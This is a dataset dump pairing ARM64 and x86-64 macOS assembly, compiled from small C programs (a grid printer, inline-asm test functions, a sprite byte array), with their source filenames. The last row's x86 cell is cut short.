arm
stringlengths 122
13.2M
| x86
stringlengths 122
12.4M
| filename
stringlengths 18
26
|
---|---|---|
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #80
.cfi_def_cfa_offset 80
stp x29, x30, [sp, #64] ; 16-byte Folded Spill
add x29, sp, #64
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
stur x8, [x29, #-8]
stur wzr, [x29, #-24]
stur w0, [x29, #-28]
str x1, [sp, #24]
str wzr, [sp, #20]
str wzr, [sp, #16]
b LBB0_1
LBB0_1: ; =>This Loop Header: Depth=1
; Child Loop BB0_3 Depth 2
ldr w8, [sp, #20]
subs w8, w8, #3
cset w8, eq
tbnz w8, #0, LBB0_6
b LBB0_2
LBB0_2: ; in Loop: Header=BB0_1 Depth=1
b LBB0_3
LBB0_3: ; Parent Loop BB0_1 Depth=1
; => This Inner Loop Header: Depth=2
ldr w8, [sp, #16]
subs w8, w8, #3
cset w8, eq
tbnz w8, #0, LBB0_5
b LBB0_4
LBB0_4: ; in Loop: Header=BB0_3 Depth=2
ldrsw x8, [sp, #20]
mov x9, #3
mul x9, x8, x9
sub x8, x29, #17
add x8, x8, x9
ldrsw x9, [sp, #16]
add x9, x8, x9
mov w8, #95
strb w8, [x9]
ldr w8, [sp, #16]
add w8, w8, #1
str w8, [sp, #16]
b LBB0_3
LBB0_5: ; in Loop: Header=BB0_1 Depth=1
str wzr, [sp, #16]
ldr w8, [sp, #20]
add w8, w8, #1
str w8, [sp, #20]
b LBB0_1
LBB0_6:
str wzr, [sp, #20]
b LBB0_7
LBB0_7: ; =>This Loop Header: Depth=1
; Child Loop BB0_9 Depth 2
ldr w8, [sp, #20]
subs w8, w8, #3
cset w8, eq
tbnz w8, #0, LBB0_12
b LBB0_8
LBB0_8: ; in Loop: Header=BB0_7 Depth=1
b LBB0_9
LBB0_9: ; Parent Loop BB0_7 Depth=1
; => This Inner Loop Header: Depth=2
ldr w8, [sp, #16]
subs w8, w8, #3
cset w8, eq
tbnz w8, #0, LBB0_11
b LBB0_10
LBB0_10: ; in Loop: Header=BB0_9 Depth=2
ldrsw x8, [sp, #20]
mov x9, #3
mul x9, x8, x9
sub x8, x29, #17
add x8, x8, x9
ldrsw x9, [sp, #16]
ldrsb w10, [x8, x9]
mov x9, sp
; implicit-def: $x8
mov x8, x10
str x8, [x9]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
ldr w8, [sp, #16]
add w8, w8, #1
str w8, [sp, #16]
b LBB0_9
LBB0_11: ; in Loop: Header=BB0_7 Depth=1
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _printf
str wzr, [sp, #16]
ldr w8, [sp, #20]
add w8, w8, #1
str w8, [sp, #20]
b LBB0_7
LBB0_12:
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
bl _printf
str wzr, [sp, #20]
b LBB0_13
LBB0_13: ; =>This Loop Header: Depth=1
; Child Loop BB0_15 Depth 2
ldr w8, [sp, #20]
subs w8, w8, #3
cset w8, eq
tbnz w8, #0, LBB0_20
b LBB0_14
LBB0_14: ; in Loop: Header=BB0_13 Depth=1
str wzr, [sp, #16]
b LBB0_15
LBB0_15: ; Parent Loop BB0_13 Depth=1
; => This Inner Loop Header: Depth=2
ldr w8, [sp, #16]
subs w8, w8, #3
cset w8, eq
tbnz w8, #0, LBB0_18
b LBB0_16
LBB0_16: ; in Loop: Header=BB0_15 Depth=2
ldrsw x8, [sp, #20]
mov x9, #3
mul x9, x8, x9
sub x8, x29, #17
add x8, x8, x9
ldrsw x9, [sp, #16]
ldrsb w10, [x8, x9]
mov x9, sp
; implicit-def: $x8
mov x8, x10
str x8, [x9]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
b LBB0_17
LBB0_17: ; in Loop: Header=BB0_15 Depth=2
ldr w8, [sp, #16]
add w8, w8, #1
str w8, [sp, #16]
b LBB0_15
LBB0_18: ; in Loop: Header=BB0_13 Depth=1
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _printf
b LBB0_19
LBB0_19: ; in Loop: Header=BB0_13 Depth=1
ldr w8, [sp, #20]
add w8, w8, #1
str w8, [sp, #20]
b LBB0_13
LBB0_20:
ldur x9, [x29, #-8]
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
subs x8, x8, x9
cset w8, eq
tbnz w8, #0, LBB0_22
b LBB0_21
LBB0_21:
bl ___stack_chk_fail
LBB0_22:
mov w0, #0
ldp x29, x30, [sp, #64] ; 16-byte Folded Reload
add sp, sp, #80
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "%c "
l_.str.1: ; @.str.1
.asciz "\n"
l_.str.2: ; @.str.2
.asciz "\n\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $48, %rsp
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -8(%rbp)
movl $0, -24(%rbp)
movl %edi, -28(%rbp)
movq %rsi, -40(%rbp)
movl $0, -44(%rbp)
movl $0, -48(%rbp)
LBB0_1: ## =>This Loop Header: Depth=1
## Child Loop BB0_3 Depth 2
cmpl $3, -44(%rbp)
je LBB0_6
## %bb.2: ## in Loop: Header=BB0_1 Depth=1
jmp LBB0_3
LBB0_3: ## Parent Loop BB0_1 Depth=1
## => This Inner Loop Header: Depth=2
cmpl $3, -48(%rbp)
je LBB0_5
## %bb.4: ## in Loop: Header=BB0_3 Depth=2
movslq -44(%rbp), %rcx
leaq -17(%rbp), %rax
imulq $3, %rcx, %rcx
addq %rcx, %rax
movslq -48(%rbp), %rcx
movb $95, (%rax,%rcx)
movl -48(%rbp), %eax
addl $1, %eax
movl %eax, -48(%rbp)
jmp LBB0_3
LBB0_5: ## in Loop: Header=BB0_1 Depth=1
movl $0, -48(%rbp)
movl -44(%rbp), %eax
addl $1, %eax
movl %eax, -44(%rbp)
jmp LBB0_1
LBB0_6:
movl $0, -44(%rbp)
LBB0_7: ## =>This Loop Header: Depth=1
## Child Loop BB0_9 Depth 2
cmpl $3, -44(%rbp)
je LBB0_12
## %bb.8: ## in Loop: Header=BB0_7 Depth=1
jmp LBB0_9
LBB0_9: ## Parent Loop BB0_7 Depth=1
## => This Inner Loop Header: Depth=2
cmpl $3, -48(%rbp)
je LBB0_11
## %bb.10: ## in Loop: Header=BB0_9 Depth=2
movslq -44(%rbp), %rcx
leaq -17(%rbp), %rax
imulq $3, %rcx, %rcx
addq %rcx, %rax
movslq -48(%rbp), %rcx
movsbl (%rax,%rcx), %esi
leaq L_.str(%rip), %rdi
movb $0, %al
callq _printf
movl -48(%rbp), %eax
addl $1, %eax
movl %eax, -48(%rbp)
jmp LBB0_9
LBB0_11: ## in Loop: Header=BB0_7 Depth=1
leaq L_.str.1(%rip), %rdi
movb $0, %al
callq _printf
movl $0, -48(%rbp)
movl -44(%rbp), %eax
addl $1, %eax
movl %eax, -44(%rbp)
jmp LBB0_7
LBB0_12:
leaq L_.str.2(%rip), %rdi
movb $0, %al
callq _printf
movl $0, -44(%rbp)
LBB0_13: ## =>This Loop Header: Depth=1
## Child Loop BB0_15 Depth 2
cmpl $3, -44(%rbp)
je LBB0_20
## %bb.14: ## in Loop: Header=BB0_13 Depth=1
movl $0, -48(%rbp)
LBB0_15: ## Parent Loop BB0_13 Depth=1
## => This Inner Loop Header: Depth=2
cmpl $3, -48(%rbp)
je LBB0_18
## %bb.16: ## in Loop: Header=BB0_15 Depth=2
movslq -44(%rbp), %rcx
leaq -17(%rbp), %rax
imulq $3, %rcx, %rcx
addq %rcx, %rax
movslq -48(%rbp), %rcx
movsbl (%rax,%rcx), %esi
leaq L_.str(%rip), %rdi
movb $0, %al
callq _printf
## %bb.17: ## in Loop: Header=BB0_15 Depth=2
movl -48(%rbp), %eax
addl $1, %eax
movl %eax, -48(%rbp)
jmp LBB0_15
LBB0_18: ## in Loop: Header=BB0_13 Depth=1
leaq L_.str.1(%rip), %rdi
movb $0, %al
callq _printf
## %bb.19: ## in Loop: Header=BB0_13 Depth=1
movl -44(%rbp), %eax
addl $1, %eax
movl %eax, -44(%rbp)
jmp LBB0_13
LBB0_20:
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq -8(%rbp), %rcx
cmpq %rcx, %rax
jne LBB0_22
## %bb.21:
xorl %eax, %eax
addq $48, %rsp
popq %rbp
retq
LBB0_22:
callq ___stack_chk_fail
ud2
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "%c "
L_.str.1: ## @.str.1
.asciz "\n"
L_.str.2: ## @.str.2
.asciz "\n\n"
.subsections_via_symbols
| the_stack_data/218894532.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _test_signed_msg_encoding ; -- Begin function test_signed_msg_encoding
.p2align 2
_test_signed_msg_encoding: ; @test_signed_msg_encoding
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, l___const.test_signed_msg_encoding.signInfo@PAGE
add x8, x8, l___const.test_signed_msg_encoding.signInfo@PAGEOFF
ldr q0, [x8]
mov x0, sp
str q0, [sp]
mov w8, #1
str w8, [sp, #4]
str wzr, [sp, #8]
bl _g
str wzr, [sp, #12]
bl _f
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.section __TEXT,__literal16,16byte_literals
.p2align 2 ; @__const.test_signed_msg_encoding.signInfo
l___const.test_signed_msg_encoding.signInfo:
.long 16 ; 0x10
.long 0 ; 0x0
.long 0 ; 0x0
.long 0 ; 0x0
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _test_signed_msg_encoding ## -- Begin function test_signed_msg_encoding
.p2align 4, 0x90
_test_signed_msg_encoding: ## @test_signed_msg_encoding
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movq L___const.test_signed_msg_encoding.signInfo(%rip), %rax
movq %rax, -16(%rbp)
movq L___const.test_signed_msg_encoding.signInfo+8(%rip), %rax
movq %rax, -8(%rbp)
movl $1, -12(%rbp)
movl $0, -8(%rbp)
leaq -16(%rbp), %rdi
callq _g
movl $0, -4(%rbp)
callq _f
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__literal16,16byte_literals
.p2align 2 ## @__const.test_signed_msg_encoding.signInfo
L___const.test_signed_msg_encoding.signInfo:
.long 16 ## 0x10
.long 0 ## 0x0
.long 0 ## 0x0
.long 0 ## 0x0
.subsections_via_symbols
| the_stack_data/40761962.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _bar ; -- Begin function bar
.p2align 2
_bar: ; @bar
.cfi_startproc
; %bb.0:
sub sp, sp, #16
.cfi_def_cfa_offset 16
str w0, [sp, #12]
ldr w8, [sp, #12]
; InlineAsm Start
; InlineAsm End
add sp, sp, #16
ret
.cfi_endproc
; -- End function
.globl _f1 ; -- Begin function f1
.p2align 2
_f1: ; @f1
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur w0, [x29, #-4]
mov w8, #4
str w8, [sp, #4]
ldur w8, [x29, #-4]
add w8, w8, #6
str w8, [sp, #8]
ldr w8, [sp, #4]
; InlineAsm Start
; InlineAsm End
str w8, [sp, #4]
ldr w8, [sp, #8]
add w8, w8, #1
str w8, [sp, #8]
ldr w0, [sp, #4]
bl _bar
ldr w0, [sp, #8]
bl _bar
ldr w8, [sp, #4]
ldr w9, [sp, #8]
add w0, w8, w9
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _f2 ; -- Begin function f2
.p2align 2
_f2: ; @f2
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
stur x8, [x29, #-8]
str w0, [sp, #12]
mov w8, #4
str w8, [sp, #16]
ldr w8, [sp, #12]
add w8, w8, #6
str w8, [sp, #20]
ldr w8, [sp, #16]
; InlineAsm Start
; InlineAsm End
str w8, [sp, #16]
ldr w8, [sp, #20]
add w8, w8, #1
str w8, [sp, #20]
ldr w0, [sp, #16]
bl _bar
ldr w0, [sp, #20]
bl _bar
ldr w8, [sp, #16]
ldr w9, [sp, #20]
add w8, w8, w9
str w8, [sp, #8] ; 4-byte Folded Spill
ldur x9, [x29, #-8]
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
subs x8, x8, x9
cset w8, eq
tbnz w8, #0, LBB2_2
b LBB2_1
LBB2_1:
bl ___stack_chk_fail
LBB2_2:
ldr w0, [sp, #8] ; 4-byte Folded Reload
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.globl _f3 ; -- Begin function f3
.p2align 2
_f3: ; @f3
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur w0, [x29, #-4]
ldr w8, [sp, #8]
and w8, w8, #0xfffff000
orr w8, w8, #0x4
str w8, [sp, #8]
ldur w8, [x29, #-4]
add w9, w8, #6
ldr w8, [sp, #8]
and w9, w9, #0xfff
and w8, w8, #0xff000fff
orr w8, w8, w9, lsl #12
str w8, [sp, #8]
ldr w8, [sp, #8]
lsl w8, w8, #20
asr w9, w8, #20
; InlineAsm Start
; InlineAsm End
ldr w8, [sp, #8]
and w9, w9, #0xfff
and w8, w8, #0xfffff000
orr w8, w8, w9
str w8, [sp, #8]
ldr w8, [sp, #8]
lsl w8, w8, #8
asr w8, w8, #20
add w9, w8, #1
ldr w8, [sp, #8]
and w9, w9, #0xfff
and w8, w8, #0xff000fff
orr w8, w8, w9, lsl #12
str w8, [sp, #8]
ldr w8, [sp, #8]
lsl w8, w8, #20
asr w0, w8, #20
bl _bar
ldr w8, [sp, #8]
lsl w8, w8, #8
asr w0, w8, #20
bl _bar
ldr w8, [sp, #8]
lsl w9, w8, #20
ldr w8, [sp, #8]
lsl w8, w8, #8
asr w8, w8, #20
add w0, w8, w9, asr #20
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _f4 ; -- Begin function f4
.p2align 2
_f4: ; @f4
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
stur x8, [x29, #-8]
str w0, [sp, #12]
ldr w8, [sp, #12]
str w8, [sp, #16]
ldr w8, [sp, #12]
str w8, [sp, #20]
ldr w8, [sp, #16]
; InlineAsm Start
; InlineAsm End
str w8, [sp, #16]
ldr w8, [sp, #20]
add w8, w8, #1
str w8, [sp, #20]
ldr w0, [sp, #16]
bl _bar
ldr w0, [sp, #20]
bl _bar
ldr w8, [sp, #16]
ldr w9, [sp, #20]
add w8, w8, w9
str w8, [sp, #8] ; 4-byte Folded Spill
ldur x9, [x29, #-8]
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
subs x8, x8, x9
cset w8, eq
tbnz w8, #0, LBB4_2
b LBB4_1
LBB4_1:
bl ___stack_chk_fail
LBB4_2:
ldr w0, [sp, #8] ; 4-byte Folded Reload
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.globl _f5 ; -- Begin function f5
.p2align 2
_f5: ; @f5
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur w0, [x29, #-4]
ldur w8, [x29, #-4]
str w8, [sp, #4]
ldur w8, [x29, #-4]
str w8, [sp, #8]
ldr w8, [sp, #4]
; InlineAsm Start
; InlineAsm End
str w8, [sp, #4]
ldr w8, [sp, #8]
add w8, w8, #1
str w8, [sp, #8]
ldr w0, [sp, #4]
bl _bar
ldr w0, [sp, #8]
bl _bar
ldr w8, [sp, #4]
ldr w9, [sp, #8]
add w0, w8, w9
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _f6 ; -- Begin function f6
.p2align 2
_f6: ; @f6
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur w0, [x29, #-4]
mov w8, #23
stur w8, [x29, #-8]
ldur w8, [x29, #-4]
str w8, [sp, #12]
ldur w8, [x29, #-4]
str w8, [sp, #16]
ldur w8, [x29, #-8]
str w8, [sp, #20]
ldr w8, [sp, #12]
; InlineAsm Start
; InlineAsm End
str w8, [sp, #12]
ldr w8, [sp, #16]
add w8, w8, #1
str w8, [sp, #16]
ldr w0, [sp, #12]
bl _bar
ldr w0, [sp, #16]
bl _bar
ldr w8, [sp, #12]
ldr w9, [sp, #16]
add w0, w8, w9
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
mov w8, #0
str w8, [sp, #4] ; 4-byte Folded Spill
stur wzr, [x29, #-4]
mov w8, #7
; InlineAsm Start
; InlineAsm End
str w8, [sp, #8]
ldr w0, [sp, #8]
bl _f1
ldr w0, [sp, #8]
bl _f2
ldr w0, [sp, #8]
bl _f3
ldr w0, [sp, #8]
bl _f4
ldr w0, [sp, #8]
bl _f5
ldr w0, [sp, #8]
bl _f6
ldr w0, [sp, #4] ; 4-byte Folded Reload
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _bar ## -- Begin function bar
.p2align 4, 0x90
_bar: ## @bar
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movl %edi, -4(%rbp)
movl -4(%rbp), %eax
## InlineAsm Start
## InlineAsm End
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _f1 ## -- Begin function f1
.p2align 4, 0x90
_f1: ## @f1
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl %edi, -4(%rbp)
movl $4, -16(%rbp)
movl -4(%rbp), %eax
addl $6, %eax
movl %eax, -12(%rbp)
movl -16(%rbp), %eax
## InlineAsm Start
## InlineAsm End
movl %eax, -16(%rbp)
movl -12(%rbp), %eax
addl $1, %eax
movl %eax, -12(%rbp)
movl -16(%rbp), %edi
callq _bar
movl -12(%rbp), %edi
callq _bar
movl -16(%rbp), %eax
addl -12(%rbp), %eax
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _f2 ## -- Begin function f2
.p2align 4, 0x90
_f2: ## @f2
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -8(%rbp)
movl %edi, -20(%rbp)
movl $4, -16(%rbp)
movl -20(%rbp), %eax
addl $6, %eax
movl %eax, -12(%rbp)
movl -16(%rbp), %eax
## InlineAsm Start
## InlineAsm End
movl %eax, -16(%rbp)
movl -12(%rbp), %eax
addl $1, %eax
movl %eax, -12(%rbp)
movl -16(%rbp), %edi
callq _bar
movl -12(%rbp), %edi
callq _bar
movl -16(%rbp), %eax
addl -12(%rbp), %eax
movl %eax, -24(%rbp) ## 4-byte Spill
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq -8(%rbp), %rcx
cmpq %rcx, %rax
jne LBB2_2
## %bb.1:
movl -24(%rbp), %eax ## 4-byte Reload
addq $32, %rsp
popq %rbp
retq
LBB2_2:
callq ___stack_chk_fail
ud2
.cfi_endproc
## -- End function
.globl _f3 ## -- Begin function f3
.p2align 4, 0x90
_f3: ## @f3
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl %edi, -4(%rbp)
movl -8(%rbp), %eax
andl $-4096, %eax ## imm = 0xF000
orl $4, %eax
movl %eax, -8(%rbp)
movl -4(%rbp), %ecx
addl $6, %ecx
movl -8(%rbp), %eax
andl $4095, %ecx ## imm = 0xFFF
shll $12, %ecx
andl $-16773121, %eax ## imm = 0xFF000FFF
orl %ecx, %eax
movl %eax, -8(%rbp)
movl -8(%rbp), %ecx
shll $20, %ecx
sarl $20, %ecx
## InlineAsm Start
## InlineAsm End
movl -8(%rbp), %eax
andl $4095, %ecx ## imm = 0xFFF
andl $-4096, %eax ## imm = 0xF000
orl %ecx, %eax
movl %eax, -8(%rbp)
movl -8(%rbp), %ecx
shll $8, %ecx
sarl $20, %ecx
addl $1, %ecx
movl -8(%rbp), %eax
andl $4095, %ecx ## imm = 0xFFF
shll $12, %ecx
andl $-16773121, %eax ## imm = 0xFF000FFF
orl %ecx, %eax
movl %eax, -8(%rbp)
movl -8(%rbp), %edi
shll $20, %edi
sarl $20, %edi
callq _bar
movl -8(%rbp), %edi
shll $8, %edi
sarl $20, %edi
callq _bar
movl -8(%rbp), %eax
shll $20, %eax
sarl $20, %eax
movl -8(%rbp), %ecx
shll $8, %ecx
sarl $20, %ecx
addl %ecx, %eax
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _f4 ## -- Begin function f4
.p2align 4, 0x90
_f4: ## @f4
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -8(%rbp)
movl %edi, -20(%rbp)
movl -20(%rbp), %eax
movl %eax, -16(%rbp)
movl -20(%rbp), %eax
movl %eax, -12(%rbp)
movl -16(%rbp), %eax
## InlineAsm Start
## InlineAsm End
movl %eax, -16(%rbp)
movl -12(%rbp), %eax
addl $1, %eax
movl %eax, -12(%rbp)
movl -16(%rbp), %edi
callq _bar
movl -12(%rbp), %edi
callq _bar
movl -16(%rbp), %eax
addl -12(%rbp), %eax
movl %eax, -24(%rbp) ## 4-byte Spill
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq -8(%rbp), %rcx
cmpq %rcx, %rax
jne LBB4_2
## %bb.1:
movl -24(%rbp), %eax ## 4-byte Reload
addq $32, %rsp
popq %rbp
retq
LBB4_2:
callq ___stack_chk_fail
ud2
.cfi_endproc
## -- End function
.globl _f5 ## -- Begin function f5
.p2align 4, 0x90
_f5: ## @f5
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl %edi, -4(%rbp)
movl -4(%rbp), %eax
movl %eax, -16(%rbp)
movl -4(%rbp), %eax
movl %eax, -12(%rbp)
movl -16(%rbp), %eax
## InlineAsm Start
## InlineAsm End
movl %eax, -16(%rbp)
movl -12(%rbp), %eax
addl $1, %eax
movl %eax, -12(%rbp)
movl -16(%rbp), %edi
callq _bar
movl -12(%rbp), %edi
callq _bar
movl -16(%rbp), %eax
addl -12(%rbp), %eax
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _f6 ## -- Begin function f6
.p2align 4, 0x90
_f6: ## @f6
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movl %edi, -4(%rbp)
movl $23, -8(%rbp)
movl -4(%rbp), %eax
movl %eax, -24(%rbp)
movl -4(%rbp), %eax
movl %eax, -20(%rbp)
movl -8(%rbp), %eax
movl %eax, -16(%rbp)
movl -24(%rbp), %eax
## InlineAsm Start
## InlineAsm End
movl %eax, -24(%rbp)
movl -20(%rbp), %eax
addl $1, %eax
movl %eax, -20(%rbp)
movl -24(%rbp), %edi
callq _bar
movl -20(%rbp), %edi
callq _bar
movl -24(%rbp), %eax
addl -20(%rbp), %eax
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl $0, -4(%rbp)
movl $7, %eax
## InlineAsm Start
## InlineAsm End
movl %eax, -8(%rbp)
movl -8(%rbp), %edi
callq _f1
movl -8(%rbp), %edi
callq _f2
movl -8(%rbp), %edi
callq _f3
movl -8(%rbp), %edi
callq _f4
movl -8(%rbp), %edi
callq _f5
movl -8(%rbp), %edi
callq _f6
xorl %eax, %eax
addq $16, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.subsections_via_symbols
| the_stack_data/433446.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.section __DATA,__data
.globl _oiram_0_racoon_data ; @oiram_0_racoon_data
_oiram_0_racoon_data:
.ascii "\020\033\006\002\020\020\001\003\020\020\020\004\005\b\020)\f\020\020\036\036\020\003\005\b\020)!\006\006\006\036\020\003\004\013\020\020\013\b\b\020\020\020\020\020\020\001\003\r\020\b\b\b\020\020\020\020\020\020\020\020\020\003\f\020\b\b\020\020\013\013\013\013\020\020\020\001\002\013\020\020\020\020\020\013))\020)\020\003\002\r\020))\020\020\013))\020)\020\020\020\001\002\016\020))\020\020\020\013)))\022\022\022\020\002\016\020\013)\013\020\013)\020\013))))\020\003\f\020\013\013\013)\020\020\020\013\013\013\020\001\004\n\020\020\013\013))\020\020\020\020\002\003\n\020\020\020\020\013\013\013\013\013\020\003\003\t\020\b\006\020\020\020\020\020\020\004\002\013\020\b\006\036\006\020\020\027\027\027\020\003\002\f\020\b\006\036\006\020\022\027\027\027\027\020\002\002\f\020\b\006\006\036\020\022\022\027\027\027\020\002\000\017\020\020\020\020\b\006\006\006\020\022\022\022\020\020\020\001\000\017\020)!\020\020\b\b\b\020\020\020\020 \027\020\001\000\017)\022)\020%\020\020\020\007\027\027 \027\020\001\000\017\f)\020\020%%%\007\007\007 \007\007\020\001\000\002!\020\001\013\020%%\007\007\007\007\007\007\007\020\002\000\001\020\002\013\020%%%%%%%%%\020\002\004\t\020\020\020\020\020\020\020\020\020\003\004\007\020\f\f##$\020\005\004\b\020\f\f\f##$\020\004\004\b\020\020\020\020\020\020\020\020\004"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.section __DATA,__data
